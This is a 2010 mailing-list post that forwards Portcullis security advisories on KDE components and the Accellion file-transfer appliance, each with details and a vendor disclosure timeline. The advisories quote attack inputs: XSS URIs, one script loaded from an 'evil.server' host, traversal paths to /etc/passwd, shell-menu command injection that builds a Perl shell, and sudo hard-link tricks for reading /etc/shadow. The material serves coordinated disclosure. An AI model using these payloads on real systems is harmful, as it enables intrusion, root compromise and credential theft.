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Re: [Full-disclosure] Advisories For Publication
- To: <moderators@xxxxxxxxx>, <bugtraq@xxxxxxxxxxxxxxxxx>, <full-disclosure@xxxxxxxxxxxxxxxxx>, <vuln@xxxxxxxxxxx>, <news@xxxxxxxxxxxxxx>
- Subject: Re: [Full-disclosure] Advisories For Publication
- From: "advisories" <advisories@xxxxxxxxxxxxxxxxxxxxxxx>
- Date: Wed, 10 Feb 2010 18:43:52 -0000
Hello
Please find attached our advisories that were published on our website
last year.
Kind Regards
Advisories
Portcullis Computer Security Ltd
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Portcullis Security Advisory - 09-002
Vulnerable System:
KDE
Vulnerability Title:
Ark Default View Allows JavaScript Injection.
Vulnerability Discovery And Development:
Portcullis Security Testing Services.
Credit For Discovery:
Tim Brown - Portcullis Computer Security Ltd.
Affected systems:
All known versions of KDE; the vulnerability discovered was for version 3.5.7.
Details:
It is possible for an attacker to create an archive containing files of an
unknown MIME type such that whilst the files may have a harmless looking
extension, attempting to open them will lead to them being rendered using an
embedded KHTML instance. When the user tries to open the attachment it will be
opened and any included JavaScript will be executed.
Impact:
In the worst case, an attacker may be able to use this to execute malicious
code on a visitors computers. Portcullis agree with KDE's assessment that
exploitation of these vulnerabilities is unlikely, however we are concerned
about the fact that active content may be executed in cases where the user does
not expect it.
Exploit:
The proof of concept exploit code is available.
Vendor Status:
10/07/2007 - Vendors sent copy of an initial paper "Kreating HavoK"
12/07/2007 - Trolltech & KDE respond
16/07/2007 - Trolltech issue patch for format string vulnerability
(CVE-2007-3388) identified in paper
19/07/2007 - Trolltech provide update on their response
27/07/2007 - Trolltech publish their advisory
Throughout 2007, further discussions are held between Portullis and KDE via IRC
but due to work on KDE 4.x no resolutions are forthcoming. Portcullis agree to
hold back until such time as KDE can reasonably respond.
20/12/2008 - Due to the extended period of non-disclosure, in late 2008
Portcullis decide to resubmit the problems as a series of advisories
18/02/2009 - Portcullis contact oCERT and KDE asking for help from oCERT to
coordinate disclosure
05/03/2009 - oCERT & KDE respond asking for proof of concepts
Portcullis provide proof of concept exploits and discuss the issue in depth
with representatives of KDE and oCERT via IRC and email. KDE confirm they have
disabled JavaScript within Ark's default view
04/11/2009 - Advisory published. Portcullis would like to thank Richard Moore
and David Faure from KDE and Andrea Barisani from oCERT
Copyright:
Copyright � Portcullis Computer Security Limited 2009, All rights reserved
worldwide.
Permission is hereby granted for the electronic redistribution of this
information. It is not to be edited or altered in any way without the express
written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties, implied or otherwise, with regard to this information or its use.
Any use of this information is at the user's risk. In no event shall the
author/distributor (Portcullis Computer Security Limited) be held liable for
any damages whatsoever arising out of or in connection with the use or spread
of this information.
Portcullis Security Advisory - 09-003
Vulnerable System:
KDE
Vulnerability Title:
Form Spoofing In Konqueror Enables KWallet Stored Credential Theft.
Vulnerability Discovery And Development:
Portcullis Security Testing Services.
Credit For Discovery:
Tim Brown - Portcullis Computer Security Ltd.
Affected systems:
All known versions of KDE; the vulnerability discovered was for version 3.5.7.
Details:
It is possible for an attacker to create hidden spoofed forms within a web
application such that Konqueror will populate form elements with data held in
KWallet and then submit them to an a remote web server in a similar manner to
that described in CVE-2006-6077 which affected Firefox.
Whilst it is acknowledged that such an attack requires an attacker to have
control of content on a web site trusted by Konqueror, it is arguable that
Konqueror should make attempts to check both the source and destination URLs
when populating pages and should not populate form elements that will not be
displayed to the user.
Impact:
An attacker would be able to use this to retrieve a users credentials from
KWallet on a visitors computers.
Exploit:
The proof of concept exploit code is available.
Vendor Status:
10/07/2007 - Vendors sent copy of an initial paper "Kreating HavoK"
12/07/2007 - Trolltech & KDE respond
16/07/2007 - Trolltech issue patch for format string vulnerability
(CVE-2007-3388) identified in paper
19/07/2007 - Trolltech provide update on their response
27/07/2007 - Trolltech publish their advisory
Throughout 2007, further discussions are held between Portullis and KDE via IRC
but due to work on KDE 4.x no resolutions are forthcoming. Portcullis agree to
hold back until such time as KDE can reasonably respond.
20/12/2008 - Due to the extended period of non-disclosure, in late 2008
Portcullis decide to resubmit the problems as a series of advisories
18/02/2009 - Portcullis contact oCERT and KDE asking for help from oCERT to
coordinate disclosure
05/03/2009 - oCERT & KDE respond asking for proof of concepts
Portcullis provide proof of concept exploits and discuss the issue in depth
with representatives of KDE and oCERT via IRC and email. KDE do not believe
this is a significant problem and as such have no plans to resolve it.
04/11/2009 - Advisory published. Portcullis would like to thank Richard Moore
and David Faure from KDE and Andrea Barisani from oCERT
Copyright:
Copyright � Portcullis Computer Security Limited 2009, All rights reserved
worldwide.
Permission is hereby granted for the electronic redistribution of this
information. It is not to be edited or altered in any way without the express
written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties, implied or otherwise, with regard to this information or its use.
Any use of this information is at the user's risk. In no event shall the
author/distributor (Portcullis Computer Security Limited) be held liable for
any damages whatsoever arising out of or in connection with the use or spread
of this information.
Portcullis Security Advisory - 09-008
Vulnerable System:
KDE
Vulnerability Title:
Insufficient Input Validation By IO Slaves.
Vulnerability Discovery And Development:
Portcullis Security Testing Services.
Credit For Discovery:
Tim Brown - Portcullis Computer Security Ltd.
Affected systems:
All known versions of KDE; unless otherwise stated, the vulnerabilities
concerned were identified in version 3.5.7 and have been confirmed on 4.1.80.
Details:
Whilst investigating how KDE handles custom protocols, it was discovered that a
number of the protocol handlers (referred to as IO slaves) did not
satisfactorily handle malicious input. It is possible for an attacker to inject
JavaScript by manipulating IO slave URI such that the JavaScript from the
manipulated request is returned in the response. Example URLs that trigger this
behaviour include:
* pydoc:<html><body><script>alert('xss')</script></body></html> - fixed in
3.5.10
* man:<script src="http://server/test.js";> - fixed in 3.5.10
* help:<script>alert('xss')</script>
* info:/dir/<script>alert('xss')</script>
* perldoc:<body onLoad="javascript:alert(1)">
An attacker may also be able to inject JavaScript by manipulating the response
to requests made by the "finger://" IO slave such that the JavaScript from the
manipulated response is rendered in Konqueror.
Additionally, by manipulating requests to the "help://" IO slave, arbitrary
files can be returned from outside of the intended document root. For example:
* help:/../../../../../../../../../../../etc/passwd
Impact:
In the worst case an attacker may be able to use this to execute malicious code
on a visitors computer. However, KDE mitigates this risk by attempting to
ensure that such URLs cannot be embedded directly into Internet hosted content
and a warning will be displayed when the links themselves are accessed.
Portcullis agree with KDE's assessment that exploitation of these
vulnerabilities is unlikely, however we are concerned about the lack of
adequate input validation considering similar issues have resulted in remote
code execution on other platforms.
Exploit:
Exploit code is not required.
Vendor Status:
10/07/2007 - Vendors sent copy of an initial paper "Kreating HavoK"
12/07/2007 - Trolltech & KDE respond
16/07/2007 - Trolltech issue patch for format string vulnerability
(CVE-2007-3388) identified in paper
19/07/2007 - Trolltech provide update on their response
27/07/2007 - Trolltech publish their advisory
Throughout 2007, further discussions are held between Portullis and KDE via IRC
but due to work on KDE 4.x no resolutions are forthcoming. Portcullis agree to
hold back until such time as KDE can reasonably respond.
20/12/2008 - Due to the extended period of non-disclosure, in late 2008
Portcullis decide to resubmit the problems as a series of advisories
18/02/2009 - Portcullis contact oCERT and KDE asking for help from oCERT to
coordinate disclosure
05/03/2009 - oCERT & KDE respond asking for proof of concepts
Portcullis provide proof of concept exploits and discuss the issue in depth
with representatives of KDE and oCERT via IRC and email. KDE confirm that they
have fixed the input sanitisation problems and have improved the sandbox that
is applied to JavaScript to prevent the XMLHttpRequest object being called by
resources not exposed over HTTP or WebDAV to prevent the same origin policy
violation.
04/11/2009 - Advisory published. Portcullis would like to thank Richard Moore
and David Faure from KDE and Andrea Barisani from oCERT
Copyright:
Copyright � Portcullis Computer Security Limited 2009, All rights reserved
worldwide.
Permission is hereby granted for the electronic redistribution of this
information. It is not to be edited or altered in any way without the express
written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties, implied or otherwise, with regard to this information or its use.
Any use of this information is at the user's risk. In no event shall the
author/distributor (Portcullis Computer Security Limited) be held liable for
any damages whatsoever arising out of or in connection with the use or spread
of this information.
Portcullis Security Advisory - 09-004
Vulnerable System:
KDE
Vulnerability Title:
KMail Attachment Mime Type Spoofing Enables Javascript Injection.
Vulnerability Discovery And Development:
Portcullis Security Testing Services.
Credit For Discovery:
Tim Brown - Portcullis Computer Security Ltd.
Affected systems:
All known versions of KDE; the vulnerability discovered was for version 3.5.7.
Details:
It is possible for an attacker to send an attachment with a spoofed MIME type
such that whilst it may have a harmless looking extension such as ".txt",
attempting to open the attachment in KMail will lead to it being rendered by
the user configured HTML browser. When the reciever tries to open the
attachment they will be asked whether they wish to load it into Konqueror.
Given the benign extension, they may well click yes, in which case it will be
opened and any included JavaScript will be executed. KMail will indicate via
the attachments icon that it considers the file to be suitable for rendering in
Konqueror.
Note: KMail does not apply any further validation or sanitisation and since
attachments are not opened within a sandbox but rather as temporary files from
the "file://" IO slave, it is possible to craft an attachment which when opened
will lead to arbitrary JavaScript being executed in a trusted context. The
"file://" IO slave is trusted to execute across domains.
Impact:
In the worst case an attacker may be able to use this to execute malicious code
on a visitors computers. A proof of concept has been created which retrieves
the users "/etc/passwd" and sends to a remote web server. Portcullis agree with
KDE's assessment that exploitation of these vulnerabilities is unlikely,
however we are concerned about the fact that active content may be executed in
cases where the user does not expect it.
Exploit:
The proof of concept exploit code is available.
Vendor Status:
10/07/2007 - Vendors sent copy of an initial paper "Kreating HavoK"
12/07/2007 - Trolltech & KDE respond
16/07/2007 - Trolltech issue patch for format string vulnerability
(CVE-2007-3388) identified in paper
19/07/2007 - Trolltech provide update on their response
27/07/2007 - Trolltech publish their advisory
Throughout 2007, further discussions are held between Portullis and KDE via IRC
but due to work on KDE 4.x no resolutions are forthcoming. Portcullis agree to
hold back until such time as KDE can reasonably respond.
20/12/2008 - Due to the extended period of non-disclosure, in late 2008
Portcullis decide to resubmit the problems as a series of advisories
18/02/2009 - Portcullis contact oCERT and KDE asking for help from oCERT to
coordinate disclosure
05/03/2009 - oCERT & KDE respond asking for proof of concepts
Portcullis provide proof of concept exploits and discuss the issue in depth
with representatives of KDE and oCERT via IRC and email. KDE confirm that have
improved the sandbox that is applied to JavaScript to prevent the
XMLHttpRequest object being called by resources not exposed over HTTP or WebDAV
to prevent the same origin policy violation.
04/11/2009 - Advisory published. Portcullis would like to thank Richard Moore
and David Faure from KDE and Andrea Barisani from oCERT
Copyright:
Copyright � Portcullis Computer Security Limited 2009, All rights reserved
worldwide.
Permission is hereby granted for the electronic redistribution of this
information. It is not to be edited or altered in any way without the express
written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties, implied or otherwise, with regard to this information or its use.
Any use of this information is at the user's risk. In no event shall the
author/distributor (Portcullis Computer Security Limited) be held liable for
any damages whatsoever arising out of or in connection with the use or spread
of this information.
Portcullis Security Advisory - 09-009
Vulnerable System:
Accellion Secure File Transfer Appliance
Vulnerability Title:
Accellion Secure File Transfer Command Line Interface Is Vulnerable To
Privilege Escalation.
Vulnerability Discovery And Development:
Portcullis Security Testing Services.
Credit For Discovery:
Tim Brown - Portcullis Computer Security Ltd.
Affected systems:
All known versions of Secure File Transfer Appliance; the vulnerability
discovered was for version FTA_7_0_259.
Details:
Accellion Secure File Transfer Appliance is an appliance based solution used
for receiving and delivering large files. It does this by allowing users to
upload and download files via https. It is generally deployed in a DMZ to allow
users access from the local network as well as the Internet. It is based on a
customised Redhat OS running a web application which provides the user
interface.
Logging into the appliance via SSH as the admin user results in a locked down
menu shell being run which can be used for administrative purposes. One
function it allows is to perform a ping (ICMP echo) request, presumably to
debug connectivity issues between the appliance and arbitrary remote hosts. It
is possible to pass a value in the host parameter of the ping menu which allows
arbitrary commands to be executed as follows:
acsh>> |cp cli cli.old
acsh>> |head -1 cli.old > cli
acsh>> |printf "while (<>) {\n" >> cli
acsh>> |printf "system(\$_)\x3b\n" >> cli # ; is filtered
acsh>> |printf "}\n" >> cli
The "acsh>>" prompt takes an IP address and concatenates it with the "ping"
command before executing it. As you can see in the case above, by escaping the
command with a "|" it is possible to execute the arbitrary commands necessary
to create a new shell wrapper in Perl. Using the "head" command, we extract the
first line from cli.old and overwrite the existing "cli" script (preserving the
initial permissions on the "cli" binary) with it. Concatenated to this is a
simple Perl loop which reads a line from standard input and executes it via
system(). In future, instead of being presented with the menu shell the Perl
will instead execute allowing the appliance to be explored more fully.
From a normal shell, it was identified that the admin user can run a number of
commands as root using sudo. As with the web application, this is intended to
allow for the reconfiguration of the appliance but once more it can be
leveraged to execute arbitrary commands as the root user or to otherwise
compromise the appliance.
Three trivial attacks are outlined below:
1) Using a hard link to "/etc/shadow" combined with the allowed "sudo chmod" of
"/home/admin/oldtemp" to get access to the hashes:
sh-2.05b$ ln /etc/shadow /home/admin/oldtemp
sh-2.05b$ sudo /bin/chmod 666 /home/admin/oldtemp
Note: Here we are abusing the fact that anyone can create a hard link to a file
they do not own, and that whilst permissions are initially set to be the same
as on the parent file, that two hard links to the same file can have distinct
permisssions.
2) Using a hard link to "/etc/shadow" combined with the allowed "sudo cp
/etc/admin/temp /etc/mail/sendmail.cf":
sh-2.05b$ ln /etc/shadow /home/admin/temp
sh-2.05b$ sudo /bin/cp /home/admin/temp /etc/mail/sendmail.cf
Note: In this case, we take advantage of the fact that "sendmail.cf is world
readable and that "cp" will preserve its permissions.
3) Using sudo "/usr/local/bin/admin.pl" as outlined in the web application
advisory:
sh-2.05b$ sudo /usr/local/bin/admin.pl ...
Impact:
An attacker may execute malicious code on the target system as the root user.
Exploit:
Exploit code is not required.
Vendor Status:
15/06/2009 - Vendor informed via email
03/07/2009 - Vendor advised thay they released a software update with version
8_0_105
04/11/2009 - Publication
Copyright:
Copyright � Portcullis Computer Security Limited 2009, All rights reserved
worldwide.
Permission is hereby granted for the electronic redistribution of this
information. It is not to be edited or altered in any way without the express
written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties, implied or otherwise, with regard to this information or its use.
Any use of this information is at the user's risk. In no event shall the
author/distributor (Portcullis Computer Security Limited) be held liable for
any damages whatsoever arising out of or in connection with the use or spread
of this information.Portcullis Security Advisory - 09-010
Vulnerable System:
Accellion Secure File Transfer Appliance
Vulnerability Title:
Accellion Secure File Transfer Web Application Is Vulnerable To Directory
Traversal.
Vulnerability Discovery And Development:
Portcullis Security Testing Services.
Credit For Discovery:
Tim Brown - Portcullis Computer Security Ltd.
Affected systems:
All known versions of Secure File Transfer Appliance; the vulnerability
discovered was for version FTA_7_0_259.
Details:
Accellion Secure File Transfer Appliance is an appliance based solution used
for receiving and delivering large files. It does this by allowing users to
upload and download files via https. It is generally deployed in a DMZ to allow
users access from the local network as well as the Internet. It is based on a
customised Redhat OS running a web application which provides the user
interface.
It is possible to pass a value in the template parameter of requests to the
user interface web application which causes arbitrary files to be returned from
outside of the web root as follows:
https://10.1.1.254/courier/1000@1276123d688676a09e0100b4f54b239c/web_client_user_guide.html?lang=../../../../../etc/passwd
Impact:
An attacker could gain access to arbitrary files.
Exploit:
Exploit code is not required.
Vendor Status:
15/06/2009 - Vendor informed via email
03/07/2009 - Vendor advised thay they released a software update with version
8_0_105
04/11/2009 - Publication
Copyright:
Copyright � Portcullis Computer Security Limited 2009, All rights reserved
worldwide.
Permission is hereby granted for the electronic redistribution of this
information. It is not to be edited or altered in any way without the express
written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties, implied or otherwise, with regard to this information or its use.
Any use of this information is at the user's risk. In no event shall the
author/distributor (Portcullis Computer Security Limited) be held liable for
any damages whatsoever arising out of or in connection with the use or spread
of this information.
Portcullis Security Advisory - 09-011
Vulnerable System:
Accellion Secure File Transfer Appliance
Vulnerability Title:
Multiple Vulnerabilities In The Accellion Secure File Transfer Web Application
Allows Remote Compromise As A Root User.
Vulnerability Discovery And Development:
Portcullis Security Testing Services.
Credit For Discovery:
Tim Brown - Portcullis Computer Security Ltd.
Affected systems:
All known versions of Secure File Transfer Appliance; the vulnerability
discovered was for version FTA_7_0_259.
Details:
Accellion Secure File Transfer Appliance is an appliance based solution used
for receiving and delivering large files. It does this by allowing users to
upload and download files via https. It is generally deployed in a DMZ to allow
users access from the local network as well as the Internet. It is based on a
customised Redhat OS running a web application which provides the user and
administrative interfaces. Combining multiple vulnerabilities in the web
application allows an attacker to remotely compromise the appliance as the root
user:
Firstly, it is possible for an attacker to inject Javascript into the
administrative interface of the web application by making requests to log in
with a username consisting of HTML. In testing, the string "<script
src='http://evil.server/poc.js'></script>" was sent in place of a valid
username, resulting in it being injected in to the audit log web page due to a
failed login attempt event being generated.
It is also possible for an attacker with administrative access to inject
arbitrary commands into the administrative interface of the web application by
making requests to set an SNMP community string. When a community string of
"public touch /tmp/portcullis" is set, the web application executes the command
"touch /tmp/portcullis" in the context of the web server user. Using command
injection and the printf command, arbitrary code can be uploaded to the
appliance. The PHP source for the application is obfuscated but it is likely
that this is due to the parameter containing the community string being passed
unmodified to the system() function.
Finally, using sudo, the web application is able to execute the script
"/usr/local/bin/admin.pl" as the root user. The purpose of this script is to
allow the reconfiguration of the appliance, and to that end, the script has a
number of functions. One function of the script is to allow the application to
move a file from one arbitrary location to another. Since no validation or
sanitisation of the parameters occurs, it can be used to overwrite itself. For
example, "/usr/local/bin/admin.pl --file_move --source=/home/admin/evil.pl
--dest=/usr/local/bin/admin.pl".
Impact:
By combining the vulnerabilities outlined above, it is possible for an attacker
to permanently inject JavaScript which would be executed in the context of an
administrator when they review the audit log. The injected JavaScript could
manipulate the documentlocation object to extract the unique per session
element of the administration URL allowing arbitrary requests to be made using
the XMLHttpRequest object. With the unique per session element of the URL, an
attacker could make malicious requests to set the appliance's SNMP community
string. By replacing the "/usr/local/bin/admin.pl" script, an attacker may then
execute malicious code on the target system as the root user.
Exploit:
The proof of concept exploit code is available.
Vendor Status:
15/06/2009 - Vendor informed via email by Portcullis
18/08/2009 - Vendor advised the following:
This bug was reported and announced back on January 12, 2009. It was fixed in
patch 7_0_287 tagged on December 12,2008 and released live to our customers on
January 12,2009 as part of patch 7_0_296.
18/08/2009 - From Portcullis's discussions with the vendor, it is believed that
the previously noted patch was for the Javascript injection and not the
subsequent code injection or privilege escalation
05/11/2009 - Publication
Copyright:
Copyright � Portcullis Computer Security Limited 2009, All rights reserved
worldwide.
Permission is hereby granted for the electronic redistribution of this
information. It is not to be edited or altered in any way without the express
written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties, implied or otherwise, with regard to this information or its use.
Any use of this information is at the user's risk. In no event shall the
author/distributor (Portcullis Computer Security Limited) be held liable for
any damages whatsoever arising out of or in connection with the use or spread
of this information.
_______________________________________________
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